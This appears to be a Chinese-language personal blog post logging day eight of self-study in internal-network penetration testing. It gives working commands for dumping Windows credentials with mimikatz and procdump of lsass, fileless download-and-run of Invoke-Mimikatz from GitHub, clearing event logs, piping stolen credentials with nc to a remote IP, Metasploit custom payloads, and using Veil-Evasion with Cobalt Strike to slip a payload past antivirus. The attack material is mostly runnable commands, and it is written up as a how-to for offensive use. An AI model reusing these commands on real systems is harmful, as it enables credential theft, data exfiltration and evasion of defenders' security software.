记录内网渗透学习进程--DAY8

mimikatz

mimikatz是用C写的一款windows系统凭证收集利用的程序,可以获取密码系统账号hash,浏览器密码,VPN密码。RDP终端密码等密码,在内网渗透中可以用于各种凭证的导入和导出,包括hash传递攻击

主页:http://blog.gentikiwi.com/mimikatz

下载地址:https://github.com/gentilkiwi/mimikatz/releases

基础用法:获取windows系统明文密码及HASH

由于是需要操纵系统内存的,所以需要拥有debug权限,默认管理员组拥有此权限,读取windows系统账号和明文hash:

privilege::debug

sekurlsa::logonpasswords full

 

 

 

从上面结果可以看出:

  • 一个Authentication Id代表一个块结果(这个“块结果”我自己理解的),也就是内存里面某个账户里面的凭证。
  • msv项是账号对应的密码的各种加密协议的密文。
  • tspkg、wdigest、kerberos 这3个项是账号对应的明文密码,但有时候不是3个项都得到结果的。
  • ssp项下是你最新登录到其他RDP终端所用到账号密码,windows server 2003、windows xp是不会记录到这里的,因为账号密码的输入不在本机内存里。
  • domain项是被登陆的机器的USERDOMAIN,可通过set命令来查看该变量,通过ping该项对应的值,可得到目标的IP。如:ping -n 1 john-PC,如果想要是IPv4就加上-4参数,即:ping -n 1 -4 john-PC

 

得到的DOMAIN 可以ping 得到IP地址 ping -4 输出IPV4地址

 

 

 

获取windows系统明文密码的原理

 当用户登陆后,会把账号密码保存在lsass中,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码。

 

mimikatz with reg (offline) //离线获取,有些时候可以将内存带回本地

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv  //将内存提取出来
lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv  //将内存文件放到目录下,然后读取


mimikatz with powershell  //powershell方式,无文件落地

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes


解决windows高版本无法抓明文密码的问题

问题出现点,windows 8.1及以上系统在进行明文密码抓取的时候出现以下情况。

    • 报错

      ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
      
    • 密码项为NULL     //空密码

 

4. 杀软对抗

mimikatz的明文密码功能固然是强大的,但就是因为强大,所以在被各国黑客关注使用的同时,各国的安全厂商也是会投入人力物力去查杀该程序,由此就会产生对抗安全防御软软件的技术。

 

procdump是啥玩意?

procdump是微软收购Winternals公司后得到的一个工具包Sysinternals Suite中的一款小工具,属于微软产品。详情请看:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

为什么能对抗安全防御软件?

我们使用大厂的软件把windows系统的内存dump出来,然后下载回我们本地系统,通过mimikatz解析内存文件,提取存放在内存中的凭证。那我用微软的东西,你不能拦截吧?那我在本地自己没有安全软件的环境用mimikatz解析,能拦截的估计就是断电、蓝屏……

//但是据说现在还是会被拦截,有些杀软会保护lsass(卡巴斯基),所以看情况使用

 

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

sekurlsa::minidump SUPERCOMPUTER_lsass.dmp
log
sekurlsa::logonPasswords full

Tips:如果被dump内存的很大,dmp文件就会很大,想要传回本地的话,耗时就比较长,所以我们可以先压缩再回传,可以用windows系统自带的压缩工具:makecab,该工具不适合压缩大文件,4G以上的可使用rar或7z,正常我们尽量压缩几百MB的文件就可以了。命令:makecab /d compressiontype=lzx c:\1.txt c:\1.rar


清除日志

event::clear

后面的操作不被系统记录

event::drop

以system权限启新的进程

获取系统system
mimikatz # privilege::debug
mimikatz # process::runp //以system启动一个新的mimikatz的交互式shell
mimikatz # process::runp /run:cmd //以system启动一个新的cmd
 

实战下的mimikatz

比如在webshell、webshell管理工具的终端都是半交互式的,我们执行mimikatz.exe,是不会进入mimikatz的终端,那么就不能只直接的mimiktz的命令了,但也可以如下使用:

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full" "exit" >> hash.txt

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full""  exit >> hash.txt




利用nc把mimikatz结果传到远程服务器

先监听,然后转发过来

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" |  nc -vv 67.68.123.4 1337 

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1337  //要挂代理,这个网址被国内拦截





MSF自定义payload

msf5 exploit(windows/smb/psexec) > set payload generic/custom
payload => generic/custom
 
msf5 exploit(windows/smb/psexec) > set payloadfile /root/bind1337.exe
payloadfile => /root/bind1337.exe
 
msf5 exploit(windows/smb/psexec) > set EXE::Custom /root/bind1337.exe
EXE::Custom => /root/bind1337.exe
 
 

各类免杀工具的使用

veil-Evasion

安装

安装docker: apt install docker.io

拉取镜像

docker pull mattiasohlsson/veil

启动容器

docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

veil的输出文件被映射在/tmp/veil-output

 

进入后是这个显示,然后我们一般选用第一个Evasion

 

然后运行

 

 接着选序号3

 

 打开CS 选择这个payload,然后里面选择一个监听器和veil选项

 

 

 获得payload

 

取一个名字

 

生成一个文件(要编译)

 

 

编译命令

C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe 122.cs

 
 
在目标机上,360扫描没扫出来

 

 

 

当着360的面成功上线

 

 

 可以上程序在后台运行

 

 

 


 


 
 
posted @ 2021-04-22 18:25  paku  阅读(2424)  评论(1编辑  收藏  举报